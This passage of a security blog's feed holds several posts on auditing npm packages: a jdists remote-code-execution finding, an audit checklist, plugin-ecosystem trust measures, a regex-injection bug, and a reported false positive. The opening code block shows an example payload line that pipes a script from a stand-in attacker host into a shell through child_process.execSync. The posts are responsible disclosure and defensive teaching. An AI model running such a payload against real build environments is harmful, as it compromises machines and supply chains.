<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">child_process</span><span class="dl">'</span><span class="p">).</span><span class="nx">execSync</span><span class="p">(</span><span class="dl">'</span><span class="s1">curl http://attacker/x | sh</span><span class="dl">'</span><span class="p">)</span>
</code></pre></div></div>

<p>One malicious file in a build produces a fully compromised build environment.</p>

<h2 id="why-this-is-serious">Why this is serious</h2>

<p>Build tools process files that are not always authored by the person running
the build: third-party source, vendored code, CI artifacts, downloaded
templates. The supply-chain scenario is direct — a poisoned file in a
dependency graph reaches the parser, and the parser reaches <code class="language-plaintext highlighter-rouge">new Function</code>.</p>

<p>There is no known CVE for this. The package’s last release is from 2018 and
the code has been there since.</p>

<h2 id="the-honest-part">The honest part</h2>

<p><code class="language-plaintext highlighter-rouge">jdists</code> has a second <code class="language-plaintext highlighter-rouge">new Function</code> site in <code class="language-plaintext highlighter-rouge">querySelector</code>, which evaluates
quoted attribute values. I tested it specifically: <strong>it is not exploitable</strong> —
the selector regex only captures a balanced quoted literal, so the eval
returns a string, and escape tricks (escaped quotes, template literals) stay
inside the literal. It is a code smell, not a vulnerability. Only the
<code class="language-plaintext highlighter-rouge">trigger</code> path is verified, and that is what the report claims.</p>

<h2 id="the-lesson">The lesson</h2>

<p>Code-processing tools are code-execution tools. The distance between
“processes your code” and “executes your code” is exactly one unescaped
attribute, one missing allowlist, one <code class="language-plaintext highlighter-rouge">new Function</code> that forgot to ask who
owns the string. When a tool evaluates file-derived content, it is a sandbox
boundary — and it should be treated, and tested, like one.</p>

<hr />

<h2 id="中文摘要">中文摘要</h2>

<p>jdists（FIS 构建生态的代码块处理工具）把被处理文件里的 <code class="language-plaintext highlighter-rouge">trigger</code> 属性直接送进
<code class="language-plaintext highlighter-rouge">new Function('return (' + trigger + ')')()</code> 求值——没有任何白名单或沙箱。
实测 PoC：恶意 trigger 属性执行 <code class="language-plaintext highlighter-rouge">writeFileSync</code> 静默创建文件，构建输出完全正常。
放大因素：<code class="language-plaintext highlighter-rouge">global.require = require</code> 把整个 Node 模块系统暴露给被求值代码，
一个恶意文件就能在构建环境里执行任意命令（供应链场景）。已上报
<a href="https://github.com/zswang/jdists/issues/16">zswang/jdists#16</a>，无已知 CVE。
诚实记录：另一个 <code class="language-plaintext highlighter-rouge">new Function</code> 点（selector 求值）实测<strong>不可利用</strong>（正则只
捕获平衡引号字面量），所以报告只声称验证过的 trigger 路径。核心教训：
处理代码的工具就是执行代码的工具——”处理你的代码”和”执行你的代码”之间，
只差一个没加白名单的属性。</p>]]></content><author><name></name></author><summary type="html"><![CDATA[From code processor to code execution: RCE in jdists]]></summary></entry><entry><title type="html">How to systematically audit a small plugin (and why ‘found nothing’ still counts)</title><link href="https://zoahdev.github.io/blog/blog/2026/08/17/how-to-audit-a-small-plugin.html" rel="alternate" type="text/html" title="How to systematically audit a small plugin (and why ‘found nothing’ still counts)" /><published>2026-08-17T00:00:00+00:00</published><updated>2026-08-17T00:00:00+00:00</updated><id>https://zoahdev.github.io/blog/blog/2026/08/17/how-to-audit-a-small-plugin</id><content type="html" xml:base="https://zoahdev.github.io/blog/blog/2026/08/17/how-to-audit-a-small-plugin.html"><![CDATA[<h1 id="how-to-systematically-audit-a-small-plugin">How to systematically audit a small plugin</h1>

<p><strong>Summary.</strong> Plugin ecosystems inherit supply-chain risk, but most small
plugins are not vulnerable — which means “found nothing” is a normal, honest
audit result, not a failure. This post is the exact checklist and workflow
used on three real targets (a TOML parser, a session exporter, and a
session-companion plugin). All three came back clean; the discipline is the
deliverable.</p>

<hr />

<h2 id="the-checklist">The checklist</h2>

<p>For a small package (&lt; 2k lines of core logic) that handles untrusted input,
check these in order:</p>

<ol>
  <li><strong>Path traversal</strong> — user-controlled strings reaching <code class="language-plaintext highlighter-rouge">fs</code> paths (<code class="language-plaintext highlighter-rouge">..</code>,
separators, Windows reserved names, trailing dots, length caps).</li>
  <li><strong>Prototype pollution</strong> — recursive merges or key assignment where
<code class="language-plaintext highlighter-rouge">__proto__</code> / <code class="language-plaintext highlighter-rouge">constructor</code> / <code class="language-plaintext highlighter-rouge">prototype</code> is not an own-property check.</li>
  <li><strong>Command injection</strong> — <code class="language-plaintext highlighter-rouge">child_process</code> with string-built commands or
user input in shell contexts.</li>
  <li><strong>SSRF</strong> — fetching user-supplied URLs without scheme/host restrictions.</li>
  <li><strong>ReDoS</strong> — regexes with nested quantifiers on attacker-controlled input.</li>
  <li><strong>Unsafe execution</strong> — <code class="language-plaintext highlighter-rouge">eval</code>, <code class="language-plaintext highlighter-rouge">new Function</code>, dynamic imports of
untrusted strings, unsafe deserialization.</li>
  <li><strong>Secret handling</strong> — hardcoded keys, API keys in logs/errors, weak crypto
(ECB, fixed IV, missing auth tag).</li>
</ol>

<h2 id="the-workflow">The workflow</h2>

<ol>
  <li><strong>Pick the surface, not the README.</strong> A parser, an exporter, a template
engine, or a URL fetcher is a better target than a UI plugin.</li>
  <li><strong>Read the risky files first.</strong> For each target: crypto, HTTP, PDF/HTML
escaping, path handling, child_process. Then grep the whole repo for
<code class="language-plaintext highlighter-rouge">child_process</code>, <code class="language-plaintext highlighter-rouge">exec(</code>, <code class="language-plaintext highlighter-rouge">eval(</code>, <code class="language-plaintext highlighter-rouge">new Function</code> — zero hits is itself a
data point.</li>
  <li><strong>Verify defenses, don’t just note their absence.</strong> Seeing <code class="language-plaintext highlighter-rouge">__proto__</code> in
a diff is not a finding: check whether it is handled with
<code class="language-plaintext highlighter-rouge">Object.defineProperty</code> + <code class="language-plaintext highlighter-rouge">Object.hasOwn</code> (correct) or raw assignment
(vulnerable). Seeing <code class="language-plaintext highlighter-rouge">escapePdfText</code> matters less than <em>what it escapes</em>:
<code class="language-plaintext highlighter-rouge">(</code> <code class="language-plaintext highlighter-rouge">)</code> <code class="language-plaintext highlighter-rouge">\</code> and control chars as octal = correct; only <code class="language-plaintext highlighter-rouge">&lt;</code> <code class="language-plaintext highlighter-rouge">&gt;</code> = weak.</li>
  <li><strong>Record files + lines.</strong> An audit trail that names the file, the line,
and the defense is worth more than a verdict.</li>
  <li><strong>Report only real findings.</strong> A low-severity observation (e.g., a
symlink-following export directory) is a <em>note to the maintainer</em>, not a
security advisory. Keep the bar high: GHSA-grade findings only.</li>
</ol>

<h2 id="what-three-real-audits-found">What three real audits found</h2>

<table>
  <thead>
    <tr>
      <th>Target</th>
      <th>Surface</th>
      <th>Result</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>smol-toml</td>
      <td>TOML parser</td>
      <td>clean — <code class="language-plaintext highlighter-rouge">__proto__</code> guarded via <code class="language-plaintext highlighter-rouge">defineProperty</code>+<code class="language-plaintext highlighter-rouge">hasOwn</code>; anchored linear regexes; zero eval/child_process</td>
    </tr>
    <tr>
      <td>dsh-session-export</td>
      <td>session exporter</td>
      <td>clean — <code class="language-plaintext highlighter-rouge">safeFilePart</code> strips unsafe chars/reserved names/trailing dots with a dedicated filename test; <code class="language-plaintext highlighter-rouge">uniquePath</code> never overwrites</td>
    </tr>
    <tr>
      <td>dsh-companion</td>
      <td>session companion</td>
      <td>clean — AES-256-GCM correct (random IV, auth tag, length checks); router prefix-exact with 8MB/30s limits; PDF escaping correct; zero <code class="language-plaintext highlighter-rouge">child_process</code>/<code class="language-plaintext highlighter-rouge">exec</code>/<code class="language-plaintext highlighter-rouge">eval</code> in the whole repo</td>
    </tr>
  </tbody>
</table>

<p>All three are defensively implemented. That is not luck — it is what
decent small packages look like, and it is exactly why “found nothing” must
be an acceptable outcome. The alternative — shipping a finding that does not
hold up to review — destroys the trust the audit was supposed to build.</p>

<h2 id="why-found-nothing-still-counts">Why “found nothing” still counts</h2>

<ol>
  <li>It is <strong>honest</strong>: most tools are not vulnerable.</li>
  <li>It builds a <strong>corpus of verified-clean packages</strong> — positive records that
later audits (and users) can rely on.</li>
  <li>The <strong>discipline is the deliverable</strong>: a reproducible checklist, named
files and lines, and a defensible verdict. That survives even when the
vulnerability count is zero.</li>
</ol>

<hr />

<h2 id="中文摘要">中文摘要</h2>

<p>小插件大多没有漏洞，”没发现”是正常且诚实的审计结果。这篇是三个真实靶标
（TOML 解析器 / 会话导出 / 会话伴侣插件）用的清单与流程：路径遍历、原型污染、
命令注入、SSRF、ReDoS、危险执行、密钥处理七项；先读风险文件（crypto/http/
pdf/路径），再全仓搜 child_process/exec/eval；验证防御而不是只看有没有出现
关键词（<code class="language-plaintext highlighter-rouge">__proto__</code> 要确认是 defineProperty+hasOwn 而不是裸赋值；转义要确认
转了什么）。三个靶标全部干净。关键原则：只报站得住的发现，低危观察写给
维护者而不是当 advisory；”没发现”也是资产——审计痕迹（文件+行号+防御说明）
本身就是交付物。</p>]]></content><author><name></name></author><summary type="html"><![CDATA[How to systematically audit a small plugin]]></summary></entry><entry><title type="html">How to build trust in a plugin ecosystem</title><link href="https://zoahdev.github.io/blog/blog/2026/08/17/how-to-build-trust-in-a-plugin-ecosystem.html" rel="alternate" type="text/html" title="How to build trust in a plugin ecosystem" /><published>2026-08-17T00:00:00+00:00</published><updated>2026-08-17T00:00:00+00:00</updated><id>https://zoahdev.github.io/blog/blog/2026/08/17/how-to-build-trust-in-a-plugin-ecosystem</id><content type="html" xml:base="https://zoahdev.github.io/blog/blog/2026/08/17/how-to-build-trust-in-a-plugin-ecosystem.html"><![CDATA[<h1 id="how-to-build-trust-in-a-plugin-ecosystem">How to build trust in a plugin ecosystem</h1>

<p><strong>Summary.</strong> Plugin ecosystems die from distrust, not from lack of ideas:
supply-chain attacks, broken installs, and unverifiable quality claims chase
users away. Over two weeks the DeepSeek Harness community built a trust layer
out of four pieces — verification discipline, poison detection, registry
contracts, and open diagnostics. This post is the map of that layer and the
rules that keep it honest.</p>

<hr />

<h2 id="the-problem">The problem</h2>

<p>An ecosystem with 900+ plugins is a discovery win and a trust liability at
the same time. Users need to answer three questions before they install
anything:</p>

<ol>
  <li><strong>Will it load?</strong> (dependency compatibility, build, manifest)</li>
  <li><strong>Is it malicious?</strong> (obfuscated exfiltration, hidden shell launches)</li>
  <li><strong>Can I verify the claim?</strong> (what does “works” even mean, who checked)</li>
</ol>

<p>If any of the three is answered by vibes, the ecosystem loses users.</p>

<h2 id="layer-1-verification-discipline">Layer 1: verification discipline</h2>

<p><code class="language-plaintext highlighter-rouge">dsh-plugin-doctor</code> turns “will it load” into a machine-checkable question:
manifest → build → pack → fresh profile install → boot → <strong>real tool
invocation</strong>. The CI template does not stop at “plugin loads”; it calls the
tool’s handler and asserts the result. Exit codes are stable (0 pass / 1
fixable / 2 not a plugin), output is JSON, and the profile-shadow check
catches the #1697 dual-instance trap before users hit it.</p>

<h2 id="layer-2-poison-detection">Layer 2: poison detection</h2>

<p><code class="language-plaintext highlighter-rouge">dsh-poison-guard</code> scans plugins before install with AST parsing (js-x-ray)
plus anti-obfuscation decoding, flagging hidden exfiltration, <code class="language-plaintext highlighter-rouge">eval</code>-of-dynamic-
content, and concealed shell invocations. Its scope is stated honestly: a
heuristic review aid, not a sandbox. The sandbox question is an OS boundary
problem (#1863/#1923), and pretending a static scan is a security boundary
would be exactly the kind of claim that destroys trust.</p>

<h2 id="layer-3-registry-contracts">Layer 3: registry contracts</h2>

<p><code class="language-plaintext highlighter-rouge">dsh-subscribe</code> is a Steam-style marketplace: browse 900+ plugins, subscribe
in the browser, one command installs everything into the profile. The registry
entry format is a contract (RFC #1846, community registry contract v2):</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">id</code> stable, owner-suffixed for duplicates;</li>
  <li><code class="language-plaintext highlighter-rouge">install.spec</code> is authoritative, never guessed from the homepage;</li>
  <li><code class="language-plaintext highlighter-rouge">verified: true</code> means “curator exercised CI + release + install + runtime
smoke” — <strong>not</strong> “security audited”;</li>
  <li><code class="language-plaintext highlighter-rouge">source</code> preserves provenance for mirrored entries.</li>
</ul>

<p>The narrow definition of <code class="language-plaintext highlighter-rouge">verified</code> is the point: a wide claim would be
useless.</p>

<h2 id="layer-4-open-diagnostics">Layer 4: open diagnostics</h2>

<p>Five independent tools converged on one <code class="language-plaintext highlighter-rouge">dsh-doctor/v1</code> envelope (schema,
lowercase status, checks with names/details), plus a check-lifecycle draft
where “checks are data”. The vocabulary freeze candidate means CI scripts can
match <code class="language-plaintext highlighter-rouge">checks[].name</code> across implementations. Diagnostics that admit their
gaps (sandbox denials, approval policy — no offline probe can see them) are
the ones you can build on.</p>

<h2 id="the-rules-that-keep-it-honest">The rules that keep it honest</h2>

<ol>
  <li><strong>Narrow claims beat impressive ones.</strong> “verified” never means “audited”;
“review aid” never means “sandbox”.</li>
  <li><strong>Rejections are part of the product.</strong> Bitbucket was excluded from the
catalog because its “public” API returns 404/410 anonymously — the rejection
is documented in the README.</li>
  <li><strong>Everything is reproducible.</strong> Patches carry root causes + regression
tests; the weekly map’s numbers come from live sources; the ledger
separates “ready to submit” from “diagnosed, no patch yet”.</li>
  <li><strong>Contracts over chaos.</strong> One envelope, one vocabulary, one registry
schema — agreed by shipping reference implementations, not by committee.</li>
</ol>

<p>The ecosystem map (weekly editions) and the patch ledger live in
<a href="https://github.com/zoahdev/dsh-ecosystem">dsh-ecosystem</a> and
<a href="https://github.com/zoahdev/dsh-docs">dsh-docs</a>.</p>

<hr />

<h2 id="中文摘要">中文摘要</h2>

<p>插件生态死于不信任，而不是缺想法。DSH 社区两周内搭了四层信任设施：
① 验证纪律（doctor：manifest→build→pack→新 profile 安装→启动→真实调用 tool，
退出码稳定、输出 JSON）；② 投毒检测（poison-guard：AST + 反混淆，明说是审查
辅助不是沙箱）；③ 注册表契约（subscribe：900+ 插件一键订阅，
<code class="language-plaintext highlighter-rouge">verified</code> 只表示”策展人跑过 CI+安装+运行时冒烟”，绝不等同安全审计）；
④ 开放诊断（5 个工具收敛到 dsh-doctor/v1，检查名词表冻结候选，敢承认盲区）。
四条规则：窄而准的声明 &gt; 夸张的声明；拒绝记录也是产品；一切可复现；
用契约而不是争论达成一致。</p>]]></content><author><name></name></author><summary type="html"><![CDATA[How to build trust in a plugin ecosystem]]></summary></entry><entry><title type="html">Regex injection in a 9-year-old package: what stale code teaches us</title><link href="https://zoahdev.github.io/blog/blog/2026/08/17/regex-injection-in-a-9-year-old-package.html" rel="alternate" type="text/html" title="Regex injection in a 9-year-old package: what stale code teaches us" /><published>2026-08-17T00:00:00+00:00</published><updated>2026-08-17T00:00:00+00:00</updated><id>https://zoahdev.github.io/blog/blog/2026/08/17/regex-injection-in-a-9-year-old-package</id><content type="html" xml:base="https://zoahdev.github.io/blog/blog/2026/08/17/regex-injection-in-a-9-year-old-package.html"><![CDATA[<h1 id="regex-injection-in-a-9-year-old-package">Regex injection in a 9-year-old package</h1>

<p><strong>Summary.</strong> The second real finding of the audit series: a config parser for
the FIS build tool, last published in 2017 and untouched since, interpolates
config keys into a <code class="language-plaintext highlighter-rouge">RegExp</code> without escaping. Keys with regex metacharacters
either corrupt the generated output or throw a <code class="language-plaintext highlighter-rouge">SyntaxError</code> that kills the
build. Reported as
<a href="https://github.com/huhuaaa/fis-parser-config/issues/1">huhuaaa/fis-parser-config#1</a>.</p>

<hr />

<h2 id="the-target">The target</h2>

<p>After the first finding (spdx-expression-parse), the audit strategy shifted:
well-maintained packages are defensively coded, so the next targets were
<strong>low-maintenance parsers nobody has looked at recently</strong>. <code class="language-plaintext highlighter-rouge">fis-parser-config</code>
fit perfectly: a config-variable substitution plugin for Baidu’s FIS build
tool, last published <strong>nine years ago</strong>.</p>

<h2 id="the-bug">The bug</h2>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">var</span> <span class="nx">reg</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">RegExp</span><span class="p">(</span><span class="dl">'</span><span class="s1">__conf</span><span class="se">\\</span><span class="s1">(</span><span class="dl">'</span> <span class="o">+</span> <span class="nx">i</span> <span class="o">+</span> <span class="dl">'</span><span class="se">\\</span><span class="s1">)</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">g</span><span class="dl">'</span><span class="p">)</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">i</code> is a config key, interpolated into the pattern with no escaping. Regex
metacharacters in a key change what the pattern means:</p>

<table>
  <thead>
    <tr>
      <th>Config key</th>
      <th>What the regex does</th>
      <th>Consequence</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">a+b</code></td>
      <td><code class="language-plaintext highlighter-rouge">+</code> becomes a quantifier</td>
      <td><code class="language-plaintext highlighter-rouge">__conf(aab)</code> replaced, <code class="language-plaintext highlighter-rouge">__conf(a+b)</code> not — <strong>output corrupted</strong></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">a(</code></td>
      <td>unbalanced group</td>
      <td><code class="language-plaintext highlighter-rouge">SyntaxError</code> — <strong>build crashes</strong></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">a.b</code></td>
      <td><code class="language-plaintext highlighter-rouge">.</code> matches any character</td>
      <td><code class="language-plaintext highlighter-rouge">axb</code>, <code class="language-plaintext highlighter-rouge">ayb</code> all replaced — <strong>wrong matches</strong></td>
    </tr>
  </tbody>
</table>

<p>All three verified with a minimal reproduction before reporting:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">parse</span><span class="p">(</span><span class="dl">'</span><span class="s1">__conf(a+b) __conf(aab)</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">x</span><span class="dl">'</span><span class="p">,</span> <span class="p">{</span> <span class="na">keys</span><span class="p">:</span> <span class="p">{</span> <span class="dl">'</span><span class="s1">a+b</span><span class="dl">'</span><span class="p">:</span> <span class="dl">'</span><span class="s1">VALUE</span><span class="dl">'</span> <span class="p">}</span> <span class="p">})</span>
<span class="c1">// → '__conf(a+b) "VALUE"'  ← the wrong token was replaced</span>

<span class="nx">parse</span><span class="p">(</span><span class="dl">'</span><span class="s1">__conf(a( )</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">x</span><span class="dl">'</span><span class="p">,</span> <span class="p">{</span> <span class="na">keys</span><span class="p">:</span> <span class="p">{</span> <span class="dl">'</span><span class="s1">a(</span><span class="dl">'</span><span class="p">:</span> <span class="dl">'</span><span class="s1">VALUE</span><span class="dl">'</span> <span class="p">}</span> <span class="p">})</span>
<span class="c1">// → SyntaxError: Invalid regular expression: /__conf\(a(\)/g</span>
</code></pre></div></div>

<h2 id="why-this-is-a-vulnerability-not-a-nit">Why this is a vulnerability, not a nit</h2>

<p>The trigger surface is config keys — which sounds trusted. But “trusted” breaks
in practice: shared config files, CI-injected values, configs generated from
untrusted inputs, tampered files in a compromised workspace. Once a key is
attacker-influenced, the result is either silent data corruption in generated
output or a hard crash — both in a build pipeline where failures cascade.</p>

<h2 id="the-lesson-packages-dont-die-they-just-stop-being-maintained">The lesson: packages don’t die, they just stop being maintained</h2>

<p>The interesting thing about this finding is that it was <em>waiting</em>: the code
has been wrong since 2017, shipped in a package that still installs and runs
in build pipelines. Maintainers move on; code does not. The low-maintenance
corner of npm is not empty of bugs — it is full of bugs nobody has reported
because nobody has looked.</p>

<p>The fix is trivial and the report is polite: escape the key
(<code class="language-plaintext highlighter-rouge">key.replace(/[.*+?^${}()|[\]\\]/g, '\\$&amp;')</code>) or use plain string search,
since the match target is a fixed literal.</p>

<hr />

<h2 id="中文摘要">中文摘要</h2>

<p>审计系列第二个真实发现：FIS 构建工具的配置解析插件（2017 年后未再发布，
9 年未维护）把配置键未转义拼进 <code class="language-plaintext highlighter-rouge">new RegExp(...)</code>——键含正则元字符时要么错误
替换输出（数据损坏），要么 <code class="language-plaintext highlighter-rouge">SyntaxError</code> 崩溃（DoS）。三种键型全部实测复现：
<code class="language-plaintext highlighter-rouge">a+b</code> 误替换 <code class="language-plaintext highlighter-rouge">__conf(aab)</code>、<code class="language-plaintext highlighter-rouge">a(</code> 直接崩、<code class="language-plaintext highlighter-rouge">a.b</code> 任意字符匹配。触发面是配置键，
看似可信，但共享配置/CI 注入/被篡改文件都会打破信任。核心教训：<strong>包不会死，
只是没人维护</strong>——低维护角落不是没有 bug，而是没人去看。修复很简单：
转义键名或改用字符串查找。</p>]]></content><author><name></name></author><summary type="html"><![CDATA[Regex injection in a 9-year-old package]]></summary></entry><entry><title type="html">The bug that wasn’t: how testing kept me from reporting a false vulnerability</title><link href="https://zoahdev.github.io/blog/blog/2026/08/17/the-bug-that-wasnt.html" rel="alternate" type="text/html" title="The bug that wasn’t: how testing kept me from reporting a false vulnerability" /><published>2026-08-17T00:00:00+00:00</published><updated>2026-08-17T00:00:00+00:00</updated><id>https://zoahdev.github.io/blog/blog/2026/08/17/the-bug-that-wasnt</id><content type="html" xml:base="https://zoahdev.github.io/blog/blog/2026/08/17/the-bug-that-wasnt.html"><![CDATA[<h1 id="the-bug-that-wasnt">The bug that wasn’t</h1>

<p><strong>Summary.</strong> During the audit of <code class="language-plaintext highlighter-rouge">fast-xml-parser</code> v5.7.3, I found what
looked like a real bug: an <code class="language-plaintext highlighter-rouge">entity.regx</code> typo (should be <code class="language-plaintext highlighter-rouge">entity.regex</code>) in
<code class="language-plaintext highlighter-rouge">EntitiesParser.replaceEntitiesValue</code>, which should have made DOCTYPE entity
replacement silently never work — and possibly corrupt values by replacing the
literal text “undefined”. Before filing, I ran the reproduction. The bug was
not in the active code path: <code class="language-plaintext highlighter-rouge">&amp;foo;</code> was replaced correctly, and no data was
corrupted. This post is about why that near-miss matters.</p>

<hr />

<h2 id="the-code-level-hypothesis">The code-level hypothesis</h2>

<p>In <code class="language-plaintext highlighter-rouge">fast-xml-parser</code> v5.7.3’s <code class="language-plaintext highlighter-rouge">src/v6/EntitiesParser.js</code>:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">replaceEntitiesValue</span><span class="p">(</span><span class="nx">val</span><span class="p">)</span> <span class="p">{</span>
  <span class="k">if</span> <span class="p">(</span><span class="k">typeof</span> <span class="nx">val</span> <span class="o">===</span> <span class="dl">"</span><span class="s2">string</span><span class="dl">"</span> <span class="o">&amp;&amp;</span> <span class="nx">val</span><span class="p">.</span><span class="nx">length</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">entityName</span> <span class="k">in</span> <span class="k">this</span><span class="p">.</span><span class="nx">docTypeEntities</span><span class="p">)</span> <span class="p">{</span>
      <span class="kd">const</span> <span class="nx">entity</span> <span class="o">=</span> <span class="k">this</span><span class="p">.</span><span class="nx">docTypeEntities</span><span class="p">[</span><span class="nx">entityName</span><span class="p">];</span>
      <span class="nx">val</span> <span class="o">=</span> <span class="nx">val</span><span class="p">.</span><span class="nx">replace</span><span class="p">(</span><span class="nx">entity</span><span class="p">.</span><span class="nx">regx</span><span class="p">,</span> <span class="nx">entity</span><span class="p">.</span><span class="nx">val</span><span class="p">);</span>   <span class="c1">// ← typo: regx, not regex</span>
    <span class="p">}</span>
    <span class="p">...</span>
  <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">addDocTypeEntities</code> stores the pattern under <code class="language-plaintext highlighter-rouge">regex</code>, but the replacement
loop reads <code class="language-plaintext highlighter-rouge">regx</code> — <code class="language-plaintext highlighter-rouge">undefined</code>. Two plausible consequences:</p>

<ol>
  <li>DOCTYPE-defined entities (<code class="language-plaintext highlighter-rouge">&lt;!ENTITY foo "BAR"&gt;</code>) are never replaced;</li>
  <li><code class="language-plaintext highlighter-rouge">String.prototype.replace(undefined, x)</code> coerces <code class="language-plaintext highlighter-rouge">undefined</code> to the string
<code class="language-plaintext highlighter-rouge">"undefined"</code> and replaces the <strong>first literal “undefined” in the value</strong>
with the entity’s replacement — silent data corruption.</li>
</ol>

<p>That second consequence would have made this more than a nit: a parser
corrupting values that contain the word “undefined” is a real bug.</p>

<h2 id="the-reproduction">The reproduction</h2>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="p">{</span> <span class="nx">XMLParser</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">fast-xml-parser</span><span class="dl">'</span><span class="p">)</span>
<span class="kd">const</span> <span class="nx">p</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">XMLParser</span><span class="p">()</span>

<span class="c1">// Hypothesis 1: entity never replaced</span>
<span class="nx">p</span><span class="p">.</span><span class="nx">parse</span><span class="p">(</span><span class="dl">'</span><span class="s1">&lt;!DOCTYPE r [&lt;!ENTITY foo "BAR"&gt;]&gt;&lt;r&gt;&amp;foo;&lt;/r&gt;</span><span class="dl">'</span><span class="p">)</span>
<span class="c1">// → {"r":"BAR"}   ← replaced correctly!</span>

<span class="c1">// Hypothesis 2: literal "undefined" corrupted</span>
<span class="nx">p</span><span class="p">.</span><span class="nx">parse</span><span class="p">(</span><span class="dl">'</span><span class="s1">&lt;!DOCTYPE r [&lt;!ENTITY foo "BAR"&gt;]&gt;&lt;r&gt;undefined&lt;/r&gt;</span><span class="dl">'</span><span class="p">)</span>
<span class="c1">// → {"r":"undefined"}   ← untouched!</span>
</code></pre></div></div>

<p>Both hypotheses failed. The active parser (<code class="language-plaintext highlighter-rouge">src/xmlparser/</code>) handles DOCTYPE
entities correctly; the <code class="language-plaintext highlighter-rouge">regx</code> typo lives only in a <strong>non-active source copy</strong>
under <code class="language-plaintext highlighter-rouge">src/v6/</code>. A bug report filed from the code-level hypothesis alone would
have been wrong — and worse, it would have burned exactly the maintainer trust
that the audit exists to build.</p>

<h2 id="the-three-gates-before-reporting">The three gates before reporting</h2>

<ol>
  <li><strong>Code-level hypothesis</strong> — “this looks wrong because X”.</li>
  <li><strong>Minimal reproduction</strong> — run the smallest input that should trigger X,
and also run the input that should <em>not</em>.</li>
  <li><strong>Scope check</strong> — is this code path actually active? Which entry point,
which version, which build?</li>
</ol>

<p>The reproduction is the gate that separates a finding from an opinion. In this
case it caught the difference between “source copy” and “active code path” —
the same difference that earlier produced a <em>real</em> finding
(spdx-expression-parse, issue #38) where the recursion was verified before
reporting.</p>

<h2 id="why-this-is-worth-writing-down">Why this is worth writing down</h2>

<p>Audits produce false positives. The professional move is not to pretend they
never happen — it is to make them cheap and visible:</p>

<ul>
  <li>the reproduction came before the report;</li>
  <li>the record shows the hypothesis, the test, and the correction;</li>
  <li>the maintainer was never asked to triage a bug that did not exist.</li>
</ul>

<p>That is the actual trust model of security work at this scale: not “never
wrong”, but “wrong cheaply, in private, with the evidence attached”.</p>

<hr />

<h2 id="中文摘要">中文摘要</h2>

<p>审计 fast-xml-parser v5.7.3 时看到一个 <code class="language-plaintext highlighter-rouge">entity.regx</code> 拼写错误（应为
<code class="language-plaintext highlighter-rouge">regex</code>），推理出两个后果：DOCTYPE 实体永不替换 + 值里的字面量 “undefined”
被悄悄替换成实体值（数据损坏）。<strong>提交前先跑了复现</strong>：<code class="language-plaintext highlighter-rouge">&amp;foo;</code> 被正确替换成
“BAR”，字面量 “undefined” 原样保留——拼写错误只存在于非活跃的 <code class="language-plaintext highlighter-rouge">src/v6/</code>
源码副本，活跃解析器（xmlparser/）没有这个 bug。差点误报。纪律：报漏洞前过
三关——代码假设 → 最小复现（含”应该不触发”的对照）→ 作用域检查（这个代码
路径真的激活吗）。审计必然有假阳性，专业不是”从不犯错”，而是”错得便宜、
错得私有、证据随附”。</p>]]></content><author><name></name></author><summary type="html"><![CDATA[The bug that wasn’t]]></summary></entry></feed>